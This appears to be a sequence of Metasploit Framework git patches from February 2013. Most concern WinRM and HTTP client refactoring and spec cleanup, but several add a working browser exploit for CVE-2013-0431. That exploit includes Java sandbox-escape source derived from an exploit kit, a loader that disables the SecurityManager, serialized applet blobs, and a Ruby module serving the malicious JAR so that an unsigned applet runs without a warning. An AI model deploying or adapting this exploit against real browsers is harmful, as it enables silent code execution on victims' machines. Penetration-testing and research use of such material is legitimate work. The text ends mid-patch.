Msf::Exploit::CheckCode::Vulnerable - end - - def exploit - unless check == Msf::Exploit::CheckCode::Vulnerable - return - end unless valid_login? print_error "Login Failure. Recheck your credentials" return @@ -141,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote def temp_dir print_status "Grabbing %TEMP%" - resp,c = send_request_ntlm(winrm_open_shell_msg) + resp = send_winrm_request(winrm_open_shell_msg) if resp.nil? print_error "Got no reply from the server" return nil @@ -152,16 +139,16 @@ class Metasploit3 < Msf::Exploit::Remote end shell_id = winrm_get_shell_id(resp) cmd = "echo %TEMP%" - resp,c = send_request_ntlm(winrm_cmd_msg(cmd, shell_id)) + resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id)) cmd_id = winrm_get_cmd_id(resp) - resp,c = send_request_ntlm(winrm_cmd_recv_msg(shell_id,cmd_id)) + resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id)) streams = winrm_get_cmd_streams(resp) return streams['stdout'].chomp end def check_remote_arch wql = %q{select AddressWidth from Win32_Processor where DeviceID="CPU0"} - resp,c = send_request_ntlm(winrm_wql_msg(wql)) + resp = send_winrm_request(winrm_wql_msg(wql)) #Default to x86 if we can't be sure return "x86" if resp.nil? or resp.code != 200 resp_tbl = parse_wql_response(resp) @@ -247,7 +234,7 @@ class Metasploit3 < Msf::Exploit::Remote def valid_login? data = winrm_wql_msg("Select Name,Status from Win32_Service") - resp,c = send_request_ntlm(data) + resp = send_winrm_request(data) unless resp.code == 200 return false end From accd6208433afb177c603ceb8e24efb165c24f6d Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 Feb 2013 23:50:30 -0600 Subject: [PATCH 298/448] Clean up pry --- lib/rex/proto/http/client.rb | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index ba46142a45..cf2cab885e 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -8,8 +8,6 @@ require 'rex/proto/ntlm/constants' require 'rex/proto/ntlm/utils' require 'rex/proto/ntlm/exceptions' -require 'pry' - module Rex module Proto module Http @@ -356,15 +354,14 @@ class Client end end - return res if opts['username'].nil? or opts['username'] = '' + return res if opts['username'].nil? or opts['username'] == '' supported_auths = res.headers['WWW-Authenticate'] if supported_auths.include? 'Basic' if opts['headers'] - opts['headers']['Authorization'] = basic_auth_header(username,password) + opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] ) else - opts['headers'] = { 'Authorization' => basic_auth_header(username,password)} + opts['headers'] = { 'Authorization' => basic_auth_header(opts['username'],opts['password'] )} end - req = request_cgi(opts) res = _send_recv(req,t,persist) return res From d88ad80116e83190660212bc4104d745e7ec27b4 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 20 Feb 2013 16:39:53 +0100 Subject: [PATCH 299/448] Added first version of cve-2013-0431 --- data/exploits/cve-2013-0431/B.class | Bin 0 -> 619 bytes data/exploits/cve-2013-0431/Exploit.class | Bin 0 -> 2743 bytes external/source/exploits/cve-2013-0431/B.java | 19 +++ .../exploits/cve-2013-0431/Exploit.java | 93 ++++++++++++ .../source/exploits/cve-2013-0431/Makefile | 18 +++ .../multi/browser/java_jre17_jmxbean_2.rb | 134 ++++++++++++++++++ 6 files changed, 264 insertions(+) create mode 100755 data/exploits/cve-2013-0431/B.class create mode 100755 data/exploits/cve-2013-0431/Exploit.class create mode 100755 external/source/exploits/cve-2013-0431/B.java create mode 100755 external/source/exploits/cve-2013-0431/Exploit.java create mode 100644 external/source/exploits/cve-2013-0431/Makefile create mode 100644 modules/exploits/multi/browser/java_jre17_jmxbean_2.rb diff --git a/data/exploits/cve-2013-0431/B.class b/data/exploits/cve-2013-0431/B.class new file mode 100755 index 0000000000000000000000000000000000000000..953d5408a7a15e180bfb1570604cbab55bca2e5a GIT binary patch literal 619 zcmah`%TB^j5Is{W)moK@;v2<{g@r6!q9$r|g^vV+ad{~>qzWzRgUA=T)s;pQKfsSt zr^SdG6LXW9J7?ycb04p7PcHzrv7uuOSsk;O(~#3Kj|B~j8kRIH6Ouc&V+VVLgjsA5 z)I+x=2{TpOk*8s|DZRRAb{Lte1;V;M5xuyM**PY8p+lH8i`6U97v+v{+U2w6m9&Bi zL9e-?XUStb;wKNbq7eh*n9#6dU=?{nc0@b6v1Bi>T}Q*3fpruJsZn<*N}vP6W(@n% z3Ozd*l+Qi8&lYXj`jXhUA|XQl=j6U+N#8$ooxpQD9qAE_mOG*ocFo~E{@1SjdE;*f zt_}P^b_p3@2DQ(lo(M;@BisC^PyAlLx|L!B1tj^;2pWH&!kOQUqs~>Gv%-10^Z+V7 zLbh5 zl_4=Daa|yE)G!U_xIlSR^96xGmo=^nRQDOCJ}{lVs@o&l)eI#8S52U5*wND0`?Z`W z_MBvhP9n>Q1S%$Vr(bujS>pmHn);@+87+~~%*jMoM$6|@KEbeK8|Gx{ak}D0 z?Ia2wQWB;YutiV;kx3())jdA~d;PwPuKb<~$I-LOpCwjAU{heG6drJjh;7fsK zYR6qZs2%rd$34{^Gw*1oV`z>=uD^1LuOR*cCndZW>Pnz?4YQ9pH&0))5Q-Hf5cSlw zTrQ(Ki4JcPC>!fs0mq8!F<0wIVEdZe(!!@JKWpBZjIzPiCw$G+CiN_9B{5X!7go2A zv&J>IEBiD0V9rf^sbZMD>iK4XO;2l{8Y&Fwd9PhM@`dszyBoJ&DME%EV4?CR2sVv% zHurFzwGD?|C%NwFaj%<7$6D<&sy8*ebcGCa#=1_uBmScbU6ArKQxy4QFN)~d)MpE+ zPSexY5`e2p(X8%hdG7{DoYUqrY$isL)eKW$Ta*8&l{`jd=0X4icho}t7J9?wCp-CMH^lVR5+*ERN*Z$GN03VO%b;r z#Y!n{B00Xk5t#MIRrKfuQBrR{lhl9io+S23UNkG$`-WZ^A){W`mjZ1}*hW0BQ)i{g z3Ck|9Q}XN-p{(b?Uo)lMm%=VSzfF9-fdE+Vh;eM;s-83NBm`qi5cl~$t)Fm=THq?MOeaA} zeTjV%`z0-~jIEwbl*sbnI^hoOU_5*b8J|o4pIk*a54A*}d4TPYpz`MunGBX63e|?x z;KRGvuLf&F2a-~ii`YSiIMpR9)Nt!B*j)b|D%6UH-y@{Td$&SjVfpU`1d{=AkDh^( z7{IeQg|psVU?S$7*hLmjl9O(hz-cmZhVk?eK`*ttso#flv~iK{LFfr;B~<>z6SPVk zl6Xnt@MDxcMv&i0NBAbV&pk&M)GSGsoX?8>XuS}D2YBugb`G!*o=*m%yB=V7GRTDQ zVH#^j%WKfUMAl$0Q`zX2g&HX2x5by=dvsT*%pG(N4D+ZFA~;XFFQN{Y$muAKawo){ OV>nLjm$@p#iGKl|D8%ys literal 0 HcmV?d00001 diff --git a/external/source/exploits/cve-2013-0431/B.java b/external/source/exploits/cve-2013-0431/B.java new file mode 100755 index 0000000000..fec2767060 --- /dev/null +++ b/external/source/exploits/cve-2013-0431/B.java @@ -0,0 +1,19 @@ +import java.security.AccessController; +import java.security.PrivilegedExceptionAction; + +public class B + implements PrivilegedExceptionAction +{ + public B() + { + try + { + AccessController.doPrivileged(this); } catch (Exception e) { + } + } + + public Object run() { + System.setSecurityManager(null); + return new Object(); + } +} diff --git a/external/source/exploits/cve-2013-0431/Exploit.java b/external/source/exploits/cve-2013-0431/Exploit.java new file mode 100755 index 0000000000..2a399019f3 --- /dev/null +++ b/external/source/exploits/cve-2013-0431/Exploit.java @@ -0,0 +1,93 @@ +/* +* From Paunch with love (Java 1.7.0_11 Exploit) +* +* Deobfuscated from Cool EK by SecurityObscurity +* +* https://twitter.com/SecObscurity +*/ +import java.applet.Applet; +import com.sun.jmx.mbeanserver.Introspector; +import com.sun.jmx.mbeanserver.JmxMBeanServer; +import com.sun.jmx.mbeanserver.MBeanInstantiator; +import java.lang.invoke.MethodHandle; +import java.lang.invoke.MethodHandles.Lookup; +import java.lang.invoke.MethodType; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import javax.management.ReflectionException; +import java.io.*; +import metasploit.Payload; + +public class Exploit extends Applet +{ + + public void init() + { + + try + { + int length; + byte[] buffer = new byte[5000]; + ByteArrayOutputStream os = new ByteArrayOutputStream(); + + // read in the class file from the jar + InputStream is = getClass().getResourceAsStream("B.class"); + + // and write it out to the byte array stream + while( ( length = is.read( buffer ) ) > 0 ) + os.write( buffer, 0, length ); + + // convert it to a simple byte array + buffer = os.toByteArray(); + + Class class1 = gimmeClass("sun.org.mozilla.javascript.internal.Context"); + + Method method = getMethod(class1, "enter", true); + Object obj = method.invoke(null, new Object[0]); + Method method1 = getMethod(class1, "createClassLoader", false); + Object obj1 = method1.invoke(obj, new Object[1]); + + Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader"); + Method method2 = getMethod(class2, "defineClass", false); + + Class my_class = (Class)method2.invoke(obj1, new Object[] { null, buffer }); + my_class.newInstance(); + + Payload.main(null); + + } + catch (Throwable localThrowable){} + + } + + + private Method getMethod(Class class1, String s, boolean flag) + { + try { + Method[] amethod = (Method[])Introspector.elementFromComplex(class1, "declaredMethods"); + Method[] amethod1 = amethod; + + for (int i = 0; i < amethod1.length; i++) { + Method method = amethod1[i]; + String s1 = method.getName(); + Class[] aclass = method.getParameterTypes(); + if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method; + } + } catch (Exception localException) { } + + return null; + } + + private Class gimmeClass(String s) throws ReflectionException, ReflectiveOperationException + { + Object obj = null; + JmxMBeanServer jmxmbeanserver = (JmxMBeanServer)JmxMBeanServer.newMBeanServer("", null, null, true); + MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator(); + + Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator"); + Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class }); + return (Class)method.invoke(mbeaninstantiator, new Object[] { s, obj }); + } + +} + diff --git a/external/source/exploits/cve-2013-0431/Makefile b/external/source/exploits/cve-2013-0431/Makefile new file mode 100644 index 0000000000..7c77a9c3b4 --- /dev/null +++ b/external/source/exploits/cve-2013-0431/Makefile @@ -0,0 +1,18 @@ +# rt.jar must be in the classpath! + +CLASSES = \ + Exploit.java \ + B.java + +.SUFFIXES: .java .class +.java.class: + javac -source 1.2 -target 1.2 -cp "../../../../data/java" $*.java + +all: $(CLASSES:.java=.class) + +install: + mv Exploit.class ../../../../data/exploits/cve-2013-0431/ + mv B.class ../../../../data/exploits/cve-2013-0431/ + +clean: + rm -rf *.class diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb new file mode 100644 index 0000000000..32301affd6 --- /dev/null +++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb @@ -0,0 +1,134 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ :javascript => false }) + + def initialize( info = {} ) + + super( update_info( info, + 'Name' => 'Java Applet JMX Remote Code Execution', + 'Description' => %q{ + This module abuses the JMX classes from a Java Applet to run arbitrary Java + code outside of the sandbox as exploited in the wild in February of 2013. The + vulnerability affects Java version 7u11 and earlier. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability discovery and exploit in the wild + 'Adam Gowdiak', # Vulnerability discovery + 'SecurityObscurity', # Exploit analysis and deobfuscation + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-0431' ], + [ 'OSVDB', '89613' ], + [ 'BID', '57726' ], + [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-8.pdf' ], + [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ], + [ 'URL', 'http://security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ], + [ 'URL', 'http://pastebin.com/QWU1rqjf' ] + ], + 'Platform' => [ 'java', 'win', 'osx', 'linux' ], + 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, + 'Targets' => + [ + [ 'Generic (Java Payload)', + { + 'Platform' => ['java'], + 'Arch' => ARCH_JAVA, + } + ], + [ 'Windows x86 (Native Payload)', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86, + } + ], + [ 'Mac OS X x86 (Native Payload)', + { + 'Platform' => 'osx', + 'Arch' => ARCH_X86, + } + ], + [ 'Linux x86 (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + } + ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jan 19 2013' + )) + end + + + def setup + path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0431", "Exploit.class") + @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } + path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0431", "B.class") + @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } + + @exploit_class_name = rand_text_alpha("Exploit".length) + @exploit_class.gsub!("Exploit", @exploit_class_name) + super + end + + def on_request_uri(cli, request) + print_status("handling request for #{request.uri}") + + case request.uri + when /\.jar$/i + jar = payload.encoded_jar + jar.add_file("#{@exploit_class_name}.class", @exploit_class) + jar.add_file("B.class", @loader_class) + metasploit_str = rand_text_alpha("metasploit".length) + payload_str = rand_text_alpha("payload".length) + jar.entries.each { |entry| + entry.name.gsub!("metasploit", metasploit_str) + entry.name.gsub!("Payload", payload_str) + entry.data = entry.data.gsub("metasploit", metasploit_str) + entry.data = entry.data.gsub("Payload", payload_str) + } + jar.build_manifest + + send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) + when /\/$/ + payload = regenerate_payload(cli) + if not payload + print_error("Failed to generate the payload.") + send_not_found(cli) + return + end + send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) + else + send_redirect(cli, get_resource() + '/', '') + end + + end + + def generate_html + html = %Q|Loading, Please Wait...| + html += %Q|

Loading, Please Wait...

| + html += %Q|| + html += %Q|| + return html + end + +end From ac50c32d513f10cc71a2960c843c1574384c4810 Mon Sep 17 00:00:00 2001 From: Royce Davis Date: Wed, 20 Feb 2013 10:02:50 -0600 Subject: [PATCH 300/448] Tested, works on server 2k8 --- modules/auxiliary/admin/smb/psexec_command.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/smb/psexec_command.rb b/modules/auxiliary/admin/smb/psexec_command.rb index 54be82308f..7be526fab2 100644 --- a/modules/auxiliary/admin/smb/psexec_command.rb +++ b/modules/auxiliary/admin/smb/psexec_command.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ - 'Royce @R3dy__ Davis ', + 'Royce Davis @R3dy__ ', ], 'License' => MSF_LICENSE, From d7b89a22281d72089b0357dbe3904fdc8804601c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 20 Feb 2013 17:50:47 +0100 Subject: [PATCH 301/448] added security level bypass --- data/exploits/cve-2013-0431/Exploit.class | Bin 2743 -> 2744 bytes data/exploits/cve-2013-0431/Exploit.ser | Bin 0 -> 1517 bytes .../multi/browser/java_jre17_jmxbean_2.rb | 57 ++++++++---------- 3 files changed, 25 insertions(+), 32 deletions(-) create mode 100755 data/exploits/cve-2013-0431/Exploit.ser diff --git a/data/exploits/cve-2013-0431/Exploit.class b/data/exploits/cve-2013-0431/Exploit.class index 526a59dbaf3d13c6c037fb0b22cd78fd6a6ae2e5..f76c43d3e17695bf6e445aec23cff58a1de7daef 100755 GIT binary patch delta 16 Ycmdlkx_jqk<*2SIVV@?u&+BQ&GsDcR zz1u^@l>&vg6dYuAVM3P5IH_dc7leWtZQw|^M^e)@O#-k;aM{kZ}wUD#n!gx2y?fh{E+ zX3oKlu2;&Miz_a;%bSN!0}sgj#ku*J+dp9v#qZbNd~5shr9aO3rb};{af#;r+9&p( z%P-tmg?a~GjTYiQ8qNfNh;f@ab`Oo^N)F)SNJXh_<&nTUO1S}C4T8IdO$oxpi4r`@ zPmG%K7)=K*$Vg4Jk|>=W!bW*;ur~}jHQCHHTMNuV7aB3Qnz?9<#=+}LOqVBPH$(q! zmk7dd2$rkV-A)Mp(i!+%$|OtB5Ue&~S)bBzaCr%8^9f3ym?y5NOW>vm`ST~=ee~PA z-+ZwO*9P!1OPxCQ=~K4Sj?na^k3>=09jKqGRK~Wa1Br$H|BzTi$*8*Vhp>TDV&*op z4+e1MJd?LDw?}i_05-y%SL(p}IFK-aO`b?)@D6G!r0c*{ZWrN&Vi3AVABM*+Wb~0L*qCtXnF)s-$tLLAmPg!)JjgaB&W?PXwkJhCfD78-sMM%VsZGdc zZOTK>cAz@ru^V?_C8J;dyoUZ59zlgleM<2p#uMjYds&v263W+XGa56QU_aGb8JdDO z=8#h)`kT~anpz}poyCySdXySVaM(FxFo@`~5tG(kW)dWGSC)WS#?5wlbufh8XNy50 z7A>1PE}BFQ8C)CDz&O}inmQ(d_cWr?%yaYEHYhNmB1SV0yK```(hV}gFZ$Di>;5<| zN^xBCWhpfUvC`~2!(~F6b&Y7eSC8EyKU(Qj+Y%l8+{4HPPV0-}1-qxp^FFyVu^=r(lfhNC~O25ZK&AMUYzkK^vW%zgHoeHc|CsJ!B z)cRZDzb8Ln76mQ64y=t6Mx$D%);{!@4(!>m@rq5?lf*Bw2_dJ13_b%5)goAbs1g;K F{tskD^4tIb literal 0 HcmV?d00001 diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb index 32301affd6..43c42c764d 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb @@ -78,44 +78,37 @@ class Metasploit3 < Msf::Exploit::Remote )) end - - def setup - path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0431", "Exploit.class") - @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } - path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0431", "B.class") - @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) } - - @exploit_class_name = rand_text_alpha("Exploit".length) - @exploit_class.gsub!("Exploit", @exploit_class_name) - super - end - def on_request_uri(cli, request) print_status("handling request for #{request.uri}") case request.uri when /\.jar$/i - jar = payload.encoded_jar - jar.add_file("#{@exploit_class_name}.class", @exploit_class) - jar.add_file("B.class", @loader_class) - metasploit_str = rand_text_alpha("metasploit".length) - payload_str = rand_text_alpha("payload".length) - jar.entries.each { |entry| - entry.name.gsub!("metasploit", metasploit_str) - entry.name.gsub!("Payload", payload_str) - entry.data = entry.data.gsub("metasploit", metasploit_str) - entry.data = entry.data.gsub("Payload", payload_str) - } - jar.build_manifest + paths = [ + [ "Exploit.ser" ], + [ "Exploit.class" ], + [ "B.class" ] + ] - send_response(cli, jar, { 'Content-Type' => "application/octet-stream" }) - when /\/$/ - payload = regenerate_payload(cli) - if not payload - print_error("Failed to generate the payload.") - send_not_found(cli) - return + p = regenerate_payload(cli) + + jar = p.encoded_jar + + paths.each do |path| + 1.upto(path.length - 1) do |idx| + full = path[0,idx].join("/") + "/" + if !(jar.entries.map{|e|e.name}.include?(full)) + jar.add_file(full, '') + end + end + fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2013-0431", path ), "rb") + data = fd.read(fd.stat.size) + jar.add_file(path.join("/"), data) + fd.close end + + print_status("Sending Applet.jar") + send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } ) + when /\/$/ send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else send_redirect(cli, get_resource() + '/', '') @@ -126,7 +119,7 @@ class Metasploit3 < Msf::Exploit::Remote def generate_html html = %Q|Loading, Please Wait...| html += %Q|

Loading, Please Wait...

| - html += %Q|| + html += %Q|| html += %Q|| return html end From da9e58ef79440d86f77ee51e2d9549511676411c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 20 Feb 2013 18:14:24 +0100 Subject: [PATCH 302/448] Added the java code to get the ser file --- .../exploits/cve-2013-0431/Serializer.java | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 external/source/exploits/cve-2013-0431/Serializer.java diff --git a/external/source/exploits/cve-2013-0431/Serializer.java b/external/source/exploits/cve-2013-0431/Serializer.java new file mode 100644 index 0000000000..2dc2517937 --- /dev/null +++ b/external/source/exploits/cve-2013-0431/Serializer.java @@ -0,0 +1,20 @@ +import java.io.*; + +public class Serializer { + + public static void main(String [ ] args) + { + try { + Exploit b=new Exploit(); // target Applet instance + ByteArrayOutputStream baos=new ByteArrayOutputStream(); + ObjectOutputStream oos=new ObjectOutputStream(baos); + oos.writeObject(b); + FileOutputStream fos=new FileOutputStream("Exploit.ser"); + fos.write(baos.toByteArray()); + fos.close(); + } catch (Exception ex) { + ex.printStackTrace(); + } + } + +} From bf216cca5cd41350d172280d9ac30684c5087eb7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 20 Feb 2013 18:14:53 +0100 Subject: [PATCH 303/448] description and references updated --- .../multi/browser/java_jre17_jmxbean_2.rb | 65 ++++++++++--------- 1 file changed, 35 insertions(+), 30 deletions(-) diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb index 43c42c764d..c448bf968a 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb @@ -22,9 +22,10 @@ class Metasploit3 < Msf::Exploit::Remote super( update_info( info, 'Name' => 'Java Applet JMX Remote Code Execution', 'Description' => %q{ - This module abuses the JMX classes from a Java Applet to run arbitrary Java - code outside of the sandbox as exploited in the wild in February of 2013. The - vulnerability affects Java version 7u11 and earlier. + This module abuses the JMX classes from a Java Applet to run arbitrary Java code + outside of the sandbox as exploited in the wild in February of 2013. Additionally, + this module bypasses default security settings introduced in Java 7 Update 10 to run + unsigned applet without displaying any warning to the user. }, 'License' => MSF_LICENSE, 'Author' => @@ -42,7 +43,8 @@ class Metasploit3 < Msf::Exploit::Remote [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-8.pdf' ], [ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-9.pdf' ], [ 'URL', 'http://security-obscurity.blogspot.com.es/2013/01/about-new-java-0-day-vulnerability.html' ], - [ 'URL', 'http://pastebin.com/QWU1rqjf' ] + [ 'URL', 'http://pastebin.com/QWU1rqjf' ], + [ 'URL', 'http://malware.dontneedcoffee.com/2013/02/cve-2013-0431-java-17-update-11.html' ] ], 'Platform' => [ 'java', 'win', 'osx', 'linux' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, @@ -83,43 +85,46 @@ class Metasploit3 < Msf::Exploit::Remote case request.uri when /\.jar$/i - paths = [ - [ "Exploit.ser" ], - [ "Exploit.class" ], - [ "B.class" ] - ] - - p = regenerate_payload(cli) - - jar = p.encoded_jar - - paths.each do |path| - 1.upto(path.length - 1) do |idx| - full = path[0,idx].join("/") + "/" - if !(jar.entries.map{|e|e.name}.include?(full)) - jar.add_file(full, '') - end - end - fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2013-0431", path ), "rb") - data = fd.read(fd.stat.size) - jar.add_file(path.join("/"), data) - fd.close - end - - print_status("Sending Applet.jar") - send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } ) + print_status("Sending JAR") + send_response( cli, generate_jar, { 'Content-Type' => "application/octet-stream" } ) when /\/$/ + print_status("Sending HTML") send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' }) else send_redirect(cli, get_resource() + '/', '') end + end + def generate_jar + paths = [ + [ "Exploit.ser" ], + [ "Exploit.class" ], + [ "B.class" ] + ] + + p = regenerate_payload(cli) + + jar = p.encoded_jar + + paths.each do |path| + 1.upto(path.length - 1) do |idx| + full = path[0,idx].join("/") + "/" + if !(jar.entries.map{|e|e.name}.include?(full)) + jar.add_file(full, '') + end + end + fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2013-0431", path ), "rb") + data = fd.read(fd.stat.size) + jar.add_file(path.join("/"), data) + fd.close + end + return jar.pack end def generate_html html = %Q|Loading, Please Wait...| html += %Q|

Loading, Please Wait...

| - html += %Q|| + html += %Q|| html += %Q|| return html end From 4a84528ecfaff4bc780be129e47ef6cd54666bd4 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 20 Feb 2013 15:02:12 -0600 Subject: [PATCH 304/448] Move pending messages to it()'s args --- spec/lib/rex/proto/http/client_spec.rb | 119 ++++++------------------- 1 file changed, 28 insertions(+), 91 deletions(-) diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index de8c68f186..6505655267 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -61,20 +61,11 @@ describe Rex::Proto::Http::Client do cli.close.should be_nil end - it "should send a request and receive a response" do - # cli.send_recv - pending excuse_needs_connection - end + it "should send a request and receive a response", :pending => excuse_needs_connection - it "should send a request and receive a response without auth handling" do - # cli._send_recv - pending excuse_needs_connection - end + it "should send a request and receive a response without auth handling", :pending => excuse_needs_connection - it "should send a request" do - # cli.send_request - pending excuse_needs_connection - end + it "should send a request", :pending => excuse_needs_connection it "should test for credentials" do # cli.should_not have_creds @@ -83,9 +74,7 @@ describe Rex::Proto::Http::Client do pending "Should actually respond to :has_creds" end - it "should send authentication" do - pending excuse_needs_connection - end + it "should send authentication", :pending => excuse_needs_connection it "should produce a basic authentication header" do u = "user1" @@ -94,20 +83,11 @@ describe Rex::Proto::Http::Client do cli.basic_auth_header("user1","pass1").should == "Basic #{b64}" end - it "should perform digest authentication" do - # cli.digest_auth - pending excuse_needs_auth - end + it "should perform digest authentication", :pending => excuse_needs_auth - it "should perform negotiate authentication" do - # cli.negotiate_auth - pending excuse_needs_auth - end + it "should perform negotiate authentication", :pending => excuse_needs_auth - it "should get a response" do - # cli.read_response - pending excuse_needs_connection - end + it "should get a response", :pending => excuse_needs_connection it "should end a connection with a stop" do cli.stop.should be_nil @@ -124,96 +104,53 @@ describe Rex::Proto::Http::Client do this_cli.pipelining?.should be_true end - it "should return an encoded URI" do - pending excuse_lazy :set_encode_uri - end + it "should return an encoded URI", :pending => excuse_lazy(:set_encode_uri) - it "should return an encoded query string" do - pending excuse_lazy :set_encode_qa - end + it "should return an encoded query string", :pending => excuse_lazy(:set_encode_qa) # These set_ methods all exercise the evasion opts, looks like - it "should set and return the URI" do - pending excuse_lazy :set_uri - end + it "should set and return the URI", :pending => excuse_lazy(:set_uri) - it "should set and return the CGI" do - pending excuse_lazy :set_cgi - end + it "should set and return the CGI", :pending => excuse_lazy(:set_cgi) - it "should set and return the HTTP verb" do - pending excuse_lazy :set_method - end + it "should set and return the HTTP verb", :pending => excuse_lazy(:set_method) - it "should set and return the version string" do - pending excuse_lazy :set_version - end + it "should set and return the version string", :pending => excuse_lazy(:set_version) - it "should set and return the HTTP seperator and body string" do - pending excuse_lazy :set_body - end + it "should set and return the HTTP seperator and body string", :pending => excuse_lazy(:set_body) - it "should set and return the path" do - pending excuse_lazy :set_path_info - end + it "should set and return the path", :pending => excuse_lazy(:set_path_info) - it "should set and return the whitespace between method and URI" do - pending excuse_lazy :set_method_uri_spacer - end + it "should set and return the whitespace between method and URI", :pending => excuse_lazy(:set_method_uri_spacer) - it "should set and return the whitespace between the version and URI" do - pending excuse_lazy :set_uri_version_spacer - end + it "should set and return the whitespace between the version and URI", :pending => excuse_lazy(:set_uri_version_spacer) - it "should set and return padding before the URI" do - pending excuse_lazy :set_uri_prepend - end + it "should set and return padding before the URI", :pending => excuse_lazy(:set_uri_prepend) it "should set and return padding after the URI" do cli.set_uri_append.should be_empty end - it "should set and return the host header" do - pending excuse_lazy :set_host_header - end + it "should set and return the host header", :pending => excuse_lazy(:set_host_header) - it "should set and return the agent header" do - pending excuse_lazy :set_agent_header - end + it "should set and return the agent header", :pending => excuse_lazy(:set_agent_header) - it "should set and return the cookie header" do - pending excuse_lazy :set_cookie_header - end + it "should set and return the cookie header", :pending => excuse_lazy(:set_cookie_header) + it "should set and return the content-type header", :pending => excuse_lazy(:set_cookie_header) - it "should set and return the content-type header" do - pending excuse_lazy :set_cookie_header - end + it "should set and return the content-length header", :pending => excuse_lazy(:set_content_len_header) - it "should set and return the content-length header" do - pending excuse_lazy :set_content_len_header - end + it "should set and return the basic authentication header", :pending => excuse_lazy(:set_basic_auth_header) - it "should set and return the basic authentication header" do - pending excuse_lazy :set_basic_auth_header - end + it "should set and return any extra headers", :pending => excuse_lazy(:set_extra_headers) - it "should set and return any extra headers" do - pending excuse_lazy :set_extra_headers - end + it "should set the chunked encoding header", :pending => excuse_lazy(:set_chunked_header) - it "should set the chunked encoding header" do - pending excuse_lazy :set_chunked_header - end + it "should set and return raw_headers", :pending => "#set_raw_headers() doesn't seem to actually do anything" - it "should set and return raw_headers" do - pending "#set_raw_headers() doesn't seem to actually do anything" - end - - it "should set and return a formatted header" do - pending :set_formatted_header - end + it "should set and return a formatted header", :pending => excuse_lazy(:set_formatted_header) it "should respond to its various accessors" do cli.should respond_to :config From 1913d60d650a7b6d39c3ee0131be22d04a76aae5 Mon Sep 17 